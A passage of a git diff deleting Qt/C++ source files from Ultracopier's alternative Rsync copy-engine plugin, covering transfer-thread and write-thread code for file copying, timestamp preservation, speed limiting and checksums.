- /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
- #ifdef Q_OS_UNIX
- #ifdef Q_OS_LINUX
- struct stat info;
- stat(source.toLatin1().data(),&info);
- time_t ctime=info.st_ctim.tv_sec;
- time_t actime=info.st_atim.tv_sec;
- time_t modtime=info.st_mtim.tv_sec;
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #else //mainly for mac
- QFileInfo fileInfo(destination);
- time_t ctime=fileInfo.created().toTime_t();
- time_t actime=fileInfo.lastRead().toTime_t();
- time_t modtime=fileInfo.lastModified().toTime_t();
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #endif
- #else
- #ifdef Q_OS_WIN32
- #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
- struct __stat64 info;
- _stat64(source.toLatin1().data(),&info);
- time_t ctime=info.st_ctime;
- time_t actime=info.st_atime;
- time_t modtime=info.st_mtime;
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #else
- wchar_t filePath[65535];
- source.toWCharArray(filePath);
- HANDLE hFileSouce = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- destination.toWCharArray(filePath);
- HANDLE hFileDestination = CreateFile(filePath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
- if(hFileSouce == INVALID_HANDLE_VALUE)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open failed to read");
- return false;
- }
- if(hFileDestination == INVALID_HANDLE_VALUE)
- {
- CloseHandle(hFileSouce);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open failed to write");
- return false;
- }
- FILETIME ftCreate, ftAccess, ftWrite;
- if(!GetFileTime(hFileSouce, &ftCreate, &ftAccess, &ftWrite))
- {
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to get the file time");
- return false;
- }
- if(!SetFileTime(hFileDestination, &ftCreate, &ftAccess, &ftWrite))
- {
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to set the file time");
- return false;
- }
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- return true;
- #endif
- #else
- return false;
- #endif
- #endif
- return false;
-}
-
-//skip the copy
-void TransferThread::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start with stat: "+QString::number(transfer_stat));
- switch(transfer_stat)
- {
- case TransferStat_PreOperation:
- case TransferStat_WaitForTheTransfer:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case WaitForTheTransfer or PreOperation, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- //check if all is source and destination is closed
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_Transfer:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case Transfer, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_Checksum:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case Transfer, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_PostOperation:
- //do nothing because here is closing...
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is already in post op");
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] can skip in this state!");
- return;
- }
-}
-
-//return info about the copied size
-qint64 TransferThread::copiedSize()
-{
- switch(transfer_stat)
- {
- case TransferStat_Transfer:
- case TransferStat_PostOperation:
- return readThread.getLastGoodPosition();
- case TransferStat_Checksum:
- return transferSize;
- default:
- return 0;
- }
-}
-
-//retry after error
-void TransferThread::putAtBottom()
-{
- emit tryPutAtBottom();
-}
-
-/// \brief set rsync
-void TransferThread::setRsync(const bool rsync)
-{
- this->rsync=rsync;
-}
-
-void TransferThread::set_osBufferLimit(unsigned int osBufferLimit)
-{
- this->osBufferLimit=osBufferLimit;
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void TransferThread::setId(int id)
-{
- this->id=id;
- readThread.setId(id);
- writeThread.setId(id);
-}
-
-QChar TransferThread::readingLetter()
-{
- switch(readThread.stat)
- {
- case ReadThread::Idle:
- return '_';
- break;
- case ReadThread::InodeOperation:
- return 'I';
- break;
- case ReadThread::Read:
- return 'R';
- break;
- case ReadThread::WaitWritePipe:
- return 'W';
- break;
- case ReadThread::Checksum:
- return 'S';
- break;
- default:
- return '?';
- }
-}
-
-QChar TransferThread::writingLetter()
-{
- switch(writeThread.stat)
- {
- case WriteThread::Idle:
- return '_';
- break;
- case WriteThread::InodeOperation:
- return 'I';
- break;
- case WriteThread::Write:
- return 'W';
- break;
- case WriteThread::Close:
- return 'C';
- break;
- case WriteThread::Read:
- return 'R';
- break;
- case WriteThread::Checksum:
- return 'S';
- break;
- default:
- return '?';
- }
-}
-
-#endif
-
-void TransferThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
-{
- this->mkpathTransfer=mkpathTransfer;
- writeThread.setMkpathTransfer(mkpathTransfer);
-}
-
-void TransferThread::set_doChecksum(bool doChecksum)
-{
- this->doChecksum=doChecksum;
-}
-
-void TransferThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
-}
-
-void TransferThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- this->checksumOnlyOnError=checksumOnlyOnError;
-}
-
-void TransferThread::set_osBuffer(bool osBuffer)
-{
- this->osBuffer=osBuffer;
-}
-
-void TransferThread::set_osBufferLimited(bool osBufferLimited)
-{
- this->osBufferLimited=osBufferLimited;
-}
-
-//not copied size, because that's count to the checksum, ...
-quint64 TransferThread::realByteTransfered()
-{
- switch(transfer_stat)
- {
- case TransferStat_Transfer:
- case TransferStat_PostOperation:
- case TransferStat_Checksum:
- return readThread.getLastGoodPosition();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] transferSize: "+QString::number(transferSize));
- return transferSize;
- default:
- return 0;
- }
-}
-
-void TransferThread::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/TransferThread.h b/plugins-alternative/CopyEngine/Rsync/TransferThread.h
deleted file mode 100644
index 3ee6d35..0000000
--- a/plugins-alternative/CopyEngine/Rsync/TransferThread.h
+++ /dev/null
@@ -1,221 +0,0 @@
-/** \file TransferThread.h
-\brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef TRANSFERTHREAD_H
-#define TRANSFERTHREAD_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QList>
-#include <QStringList>
-#include <QDateTime>
-#include <QDir>
-
-#include "ReadThread.h"
-#include "WriteThread.h"
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-
-/// \brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
-class TransferThread : public QThread
-{
- Q_OBJECT
-public:
- explicit TransferThread();
- ~TransferThread();
- /// \brief get transfer stat
- TransferStat getStat();
- /// \brief get drive of an file or folder
- QString getDrive(QString fileOrFolder);
- /// \brief set drive list, used in getDrive()
- void setDrive(QStringList drives);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief get the reading letter
- QChar readingLetter();
- /// \brief get the writing letter
- QChar writingLetter();
- #endif
- /// \brief to have semaphore, and try create just one by one
- void setMkpathTransfer(QSemaphore *mkpathTransfer);
- /// \brief to store the transfer id
- quint64 transferId;
- /// \brief to store the transfer size
- quint64 transferSize;
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
-
- //not copied size, because that's count to the checksum, ...
- quint64 realByteTransfered();
-protected:
- void run();
-signals:
- //to send state
- void preOperationStopped();
- void checkIfItCanBeResumed();
- //void transferStarted();//not sended (and not used then)
- void readStopped();
- void writeStopped();
- void postOperationStopped();
- //get dialog
- void fileAlreadyExists(QFileInfo,QFileInfo,bool isSame);
- void errorOnFile(QFileInfo,QString);
- //internal signal
- void internalStartPostOperation();
- void internalStartPreOperation();
- void internalStartResumeAfterErrorAndSeek();
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- void tryPutAtBottom();
- //force into the right thread
- void internalTryStartTheTransfer();
- /// \brief update the transfer stat
- void pushStat(TransferStat,quint64);
-public slots:
- /// \brief to start the transfer of data
- void startTheTransfer();
- /// \brief to set files to transfer
- void setFiles(const QString &source,const qint64 &size,const QString &destination,const CopyMode &mode);
- /// \brief to set file exists action to do
- void setFileExistsAction(const FileExistsAction &action);
- /// \brief to set the new name of the destination
- void setFileRename(const QString &nameForRename);
- /// \brief to start the transfer of data
- void setAlwaysFileExistsAction(const FileExistsAction &action);
- /// \brief set the copy info and options before runing
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set the current max speed in KB/s
- void setMaxSpeed(int maxSpeed);
- /// \brief set block size in KB
- bool setBlockSize(const unsigned int blockSize);
- /// \brief pause the copy
- void pause();
- /// \brief resume the copy
- void resume();
- /// \brief stop the copy
- void stop();
- /// \brief skip the copy
- void skip();
- /// \brief retry after error
- void retryAfterError();
- /// \brief return info about the copied size
- qint64 copiedSize();
- /// \brief put the current file at bottom
- void putAtBottom();
- /// \brief set rsync
- void setRsync(const bool rsync);
-
- void set_osBufferLimit(unsigned int osBufferLimit);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-private slots:
- void preOperation();
- void readIsReady();
- void writeIsReady();
- void readIsFinish();
- void writeIsFinish();
- void readIsClosed();
- void writeIsClosed();
- void postOperation();
- void getWriteError();
- void getReadError();
- void readChecksumFinish(const QByteArray&);
- void writeChecksumFinish(const QByteArray&);
- void compareChecksum();
- //void syncAfterErrorAndReadFinish();
- void readThreadIsSeekToZeroAndWait();
- void writeThreadIsReopened();
- void readThreadResumeAfterError();
- //to filter the emition of signal
- void readIsStopped();
- void writeIsStopped();
- //speed limitation
- void timeOfTheBlockCopyFinished();
- //force into the right thread
- void internalStartTheTransfer();
-private:
- enum MoveReturn
- {
- MoveReturn_skip=0,
- MoveReturn_moved=1,
- MoveReturn_error=2
- };
- TransferStat transfer_stat;
- ReadThread readThread;
- WriteThread writeThread;
- QString source;
- QString destination;
- CopyMode mode;
- QTimer clockForTheCopySpeed; ///< For the speed throttling
- bool doRightTransfer;
- bool keepDate;
- bool readIsReadyVariable;
- bool writeIsReadyVariable;
- bool readIsOpenVariable;
- bool writeIsOpenVariable;
- bool readIsFinishVariable;
- bool writeIsFinishVariable;
- bool readIsClosedVariable;
- bool writeIsClosedVariable;
- bool canBeMovedDirectlyVariable;
- bool rsync;
- QByteArray sourceChecksum,destinationChecksum;
- volatile bool stopIt;
- volatile bool canStartTransfer;
- int blockSize;
- bool retry;
- QFileInfo sourceInfo;
- QFileInfo destinationInfo;
- QStringList mountSysPoint;
- qint64 size;
- FileExistsAction fileExistsAction;
- FileExistsAction alwaysDoFileExistsAction;
- bool needSkip,needRemove;
- QDateTime maxTime;
- int id;
- QSemaphore *mkpathTransfer;
- bool doChecksum,real_doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QString firstRenamingRule;
- QString otherRenamingRule;
- //error management
- bool writeError,writeError_source_seeked,writeError_destination_reopened;
- bool readError;
- bool fileContentError;
- //different pre-operation
- bool isSame();
- bool destinationExists();
- bool canBeMovedDirectly();
- void tryMoveDirectly();
- void ifCanStartTransfer();
- //fonction to edit the file date time
- bool changeFileDateTime(const QString &source,const QString &destination);
- void resetExtraVariable();
- //error management function
- void resumeTransferAfterWriteError();
- //to send state
- bool sended_state_preOperationStopped;
- bool sended_state_readStopped;
- bool sended_state_writeStopped;
- //different post-operation
- bool checkIfAllIsClosed();
- bool doFilePostOperation();
- //different pre-operation
- void tryOpen();
-};
-
-#endif // TRANSFERTHREAD_H
diff --git a/plugins-alternative/CopyEngine/Rsync/WriteThread.cpp b/plugins-alternative/CopyEngine/Rsync/WriteThread.cpp
deleted file mode 100644
index 448e8dc..0000000
--- a/plugins-alternative/CopyEngine/Rsync/WriteThread.cpp
+++ /dev/null
@@ -1,508 +0,0 @@
-#include "WriteThread.h"
-
-#include <QDir>
-
-WriteThread::WriteThread()
-{
- stopIt=false;
- isOpen.release();
- start();
- moveToThread(this);
- setObjectName("write");
- this->mkpathTransfer = mkpathTransfer;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- CurentCopiedSize=0;
- buffer=false;
- putInPause=false;
- needRemoveTheFile=false;
- blockSize=1024*1024;
-}
-
-WriteThread::~WriteThread()
-{
- stopIt=true;
- needRemoveTheFile=true;
- freeBlock.release();
- // useless because stopIt will close all thread, but if thread not runing run it
- //endIsDetected();
- emit internalStartClose();
- isOpen.acquire();
- disconnect(this);
- quit();
- wait();
-}
-
-void WriteThread::run()
-{
- connect(this,SIGNAL(internalStartOpen()), this,SLOT(internalOpen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartReopen()), this,SLOT(internalReopen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartWrite()), this,SLOT(internalWrite()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartClose()), this,SLOT(internalClose()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartEndOfFile()), this,SLOT(internalEndOfFile()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartFlushAndSeekToZero()), this,SLOT(internalFlushAndSeekToZero()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartChecksum()), this,SLOT(checkSum()), Qt::QueuedConnection);
- exec();
-}
-
-bool WriteThread::internalOpen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] internalOpen destination: "+name);
- if(stopIt)
- return false;
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already open! destination: "+file.fileName());
- return false;
- }
- //set to LISTBLOCKSIZE
- while(freeBlock.available()<ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK)
- freeBlock.release();
- if(freeBlock.available()>ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK)
- freeBlock.acquire(freeBlock.available()-ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK);
- stopIt=false;
- CurentCopiedSize=0;
- endDetected=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- file.setFileName(name);
- //mkpath check if exists and return true if already exists
- QFileInfo destinationInfo(file);
- QDir destinationFolder;
- {
- mkpathTransfer->acquire();
- if(!destinationFolder.exists(destinationInfo.absolutePath()))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] "+QString("Try create the path: %1")
- .arg(destinationInfo.absolutePath()));
- if(!destinationFolder.mkpath(destinationInfo.absolutePath()))
- {
- if(!destinationFolder.exists(destinationInfo.absolutePath()))
- {
- /// \todo do real folder error here
- errorString_internal="mkpath error on destination";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable create the folder: %1, error: %2")
- .arg(destinationInfo.absolutePath())
- .arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- }
- }
- mkpathTransfer->release();
- }
- if(stopIt)
- return false;
- //try open it
- QIODevice::OpenMode flags=QIODevice::ReadWrite;
- if(!buffer)
- flags|=QIODevice::Unbuffered;
- if(file.open(flags))
- {
- if(stopIt)
- return false;
- file.seek(0);
- if(stopIt)
- return false;
- file.resize(startSize);
- if(stopIt)
- return false;
- emit opened();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isOpen.acquire();
- needRemoveTheFile=false;
- return true;
- }
- else
- {
- if(stopIt)
- return false;
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
-}
-
-void WriteThread::open(const QString &name,const quint64 &startSize,const bool &buffer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open destination: "+name);
- if(stopIt)
- return;
- fakeMode=false;
- this->name=name;
- this->startSize=startSize;
- this->buffer=buffer;
- endDetected=false;
- emit internalStartOpen();
-}
-
-void WriteThread::endIsDetected()
-{
- if(endDetected)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- endDetected=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- emit internalStartEndOfFile();
-}
-
-QString WriteThread::errorString()
-{
- return errorString_internal;
-}
-
-bool WriteThread::write(const QByteArray &data)
-{
- if(stopIt)
- return false;
- freeBlock.acquire();
- if(stopIt)
- return false;
- {
- QMutexLocker lock_mutex(&accessList);
- theBlockList.append(data);
- }
- emit internalStartWrite();
- return true;
-}
-
-void WriteThread::stop()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop()");
- needRemoveTheFile=true;
- stopIt=true;
- if(isOpen.available()>0)
- return;
- freeBlock.release();
- // useless because stopIt will close all thread, but if thread not runing run it
- endIsDetected();
- //for the stop for skip: void TransferThread::skip()
- emit internalStartClose();
-}
-
-void WriteThread::flushBuffer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- freeBlock.release();
- freeBlock.acquire();
- {
- QMutexLocker lock_mutex(&accessList);
- theBlockList.clear();
- }
-}
-
-void WriteThread::internalEndOfFile()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] writeIsStopped");
- emit writeIsStopped();
-}
-
-void WriteThread::internalWrite()
-{
- if(stopIt)
- return;
- //read one block
- if(theBlockList.size()<=0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] End detected of the file");
- return;
- }
- else
- {
- QMutexLocker lock_mutex(&accessList);
- blockArray=theBlockList.first();
- theBlockList.removeFirst();
- }
- //write one block
- freeBlock.release();
-
- if(stopIt)
- return;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Write;
- #endif
- bytesWriten=file.write(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- //mutex for stream this data
- if(CurentCopiedSize==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit writeIsStarted()");
- emit writeIsStarted();
- }
- CurentCopiedSize+=bytesWriten;
- if(stopIt)
- return;
- if(file.error()!=QFile::NoError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error()));
- errorString_internal=QString("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error());
- stopIt=true;
- emit error();
- return;
- }
- if(bytesWriten!=blockArray.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size()));
- errorString_internal=QString("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size());
- stopIt=true;
- emit error();
- return;
- }
- lastGoodPosition+=bytesWriten;
-}
-
-void WriteThread::postOperation()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- emit internalStartClose();
-}
-
-void WriteThread::internalClose(bool emitSignal)
-{
- /// \note never send signal here, because it's called by the destructor
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Close;
- #endif
- if(!fakeMode && file.isOpen())
- {
- if(!needRemoveTheFile)
- {
- if(startSize!=CurentCopiedSize)
- file.resize(CurentCopiedSize);
- }
- file.close();
- if(needRemoveTheFile)
- {
- if(file.remove())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to remove the destination file");
- }
- needRemoveTheFile=false;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- if(emitSignal)
- emit closed();
-
- /// \note always the last of this function
- if(!fakeMode)
- isOpen.release();
-}
-
-void WriteThread::internalReopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- internalClose(false);
- flushBuffer();
- stopIt=false;
- CurentCopiedSize=0;
- if(internalOpen())
- emit reopened();
-}
-
-void WriteThread::reopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=true;
- endDetected=false;
- emit internalStartReopen();
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void WriteThread::setId(int id)
-{
- this->id=id;
-}
-#endif
-
-/// \brief do the fake open
-void WriteThread::fakeOpen()
-{
- fakeMode=true;
- emit opened();
-}
-
-/// \brief do the fake writeIsStarted
-void WriteThread::fakeWriteIsStarted()
-{
- emit writeIsStarted();
-}
-
-/// \brief do the fake writeIsStopped
-void WriteThread::fakeWriteIsStopped()
-{
- emit writeIsStopped();
-}
-
-/// do the checksum
-void WriteThread::startCheckSum()
-{
- emit internalStartChecksum();
-}
-
-/** \brief set block size
-\param block the new block size in KB
-\return Return true if succes */
-bool WriteThread::setBlockSize(const int blockSize)
-{
- if(blockSize<1 || blockSize>16384)
- {
- this->blockSize=blockSize*1024;
- //set the new max speed because the timer have changed
- setMaxSpeed(maxSpeed);
- return true;
- }
- else
- return false;
-}
-
-/*! \brief Set the max speed
-\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
-int WriteThread::setMaxSpeed(const int maxSpeed)
-{
- if(this->maxSpeed==0 && maxSpeed==0 && waitNewClockForSpeed.available()>0)
- waitNewClockForSpeed.tryAcquire(waitNewClockForSpeed.available());
- this->maxSpeed=maxSpeed;
- if(this->maxSpeed>0)
- {
- int NewInterval,newMultiForBigSpeed=0;
- do
- {
- newMultiForBigSpeed++;
- NewInterval=(blockSize*newMultiForBigSpeed)/(this->maxSpeed);
- }
- while (NewInterval<ULTRACOPIER_PLUGIN_MINTIMERINTERVAL);
- if(NewInterval>ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL)
- {
- NewInterval=ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL;
- newMultiForBigSpeed=1;
- blockSize=this->maxSpeed*NewInterval;
- }
- MultiForBigSpeed=newMultiForBigSpeed;
- return NewInterval;
- }
- else
- {
- waitNewClockForSpeed.release();
- return 0;
- }
-}
-
-/// \brief For give timer every X ms
-void WriteThread::timeOfTheBlockCopyFinished()
-{
- if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
- waitNewClockForSpeed.release();
- //why not just use waitNewClockForSpeed.release() ?
-}
-
-void WriteThread::flushAndSeekToZero()
-{
- stopIt=true;
- emit internalStartFlushAndSeekToZero();
-}
-
-
-void WriteThread::checkSum()
-{
- //QByteArray blockArray;
- QCryptographicHash hash(QCryptographicHash::Sha1);
- endDetected=false;
- lastGoodPosition=0;
- file.seek(0);
- int sizeReaden=0;
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Checksum;
- #endif
- hash.addData(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- return;
- }
- if(stopIt)
- {
-/* if(putInPause)
- emit isInPause();*/
- stopIt=false;
- return;
- }
- emit checksumFinish(hash.result());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-void WriteThread::internalFlushAndSeekToZero()
-{
- flushBuffer();
- file.seek(0);
- stopIt=false;
- emit flushedAndSeekedToZero();
-}
-
-void WriteThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
-{
- this->mkpathTransfer=mkpathTransfer;
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/WriteThread.h b/plugins-alternative/CopyEngine/Rsync/WriteThread.h
deleted file mode 100644
index 3683c27..0000000
--- a/plugins-alternative/CopyEngine/Rsync/WriteThread.h
+++ /dev/null
@@ -1,138 +0,0 @@
-/** \file WriteThread.h
-\brief Thread changed to open/close and write the destination file
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef WRITETHREAD_H
-#define WRITETHREAD_H
-
-#include <QThread>
-#include <QByteArray>
-#include <QString>
-#include <QMutex>
-#include <QSemaphore>
-#include <QCryptographicHash>
-
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-#include "AvancedQFile.h"
-
-/// \brief Thread changed to open/close and write the destination file
-class WriteThread : public QThread
-{
- Q_OBJECT
-public:
- explicit WriteThread();
- ~WriteThread();
- /// \brief to have semaphore to do mkpath one by one
- void setMkpathTransfer(QSemaphore *mkpathTransfer);
-protected:
- void run();
-public:
- /// \brief open the destination to open it
- void open(const QString &name,const quint64 &startSize,const bool &buffer);
- /// \brief to return the error string
- QString errorString();
- /// \brief to stop all
- void stop();
- /// \brief to write data
- bool write(const QByteArray &data);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief get the write stat
- enum WriteStat
- {
- Idle=0,
- InodeOperation=1,
- Write=2,
- Close=3,
- Read=5,
- Checksum=6
- };
- WriteStat stat;
- #endif
- /// \brief do the fake open
- void fakeOpen();
- /// \brief do the fake writeIsStarted
- void fakeWriteIsStarted();
- /// \brief do the fake writeIsStopped
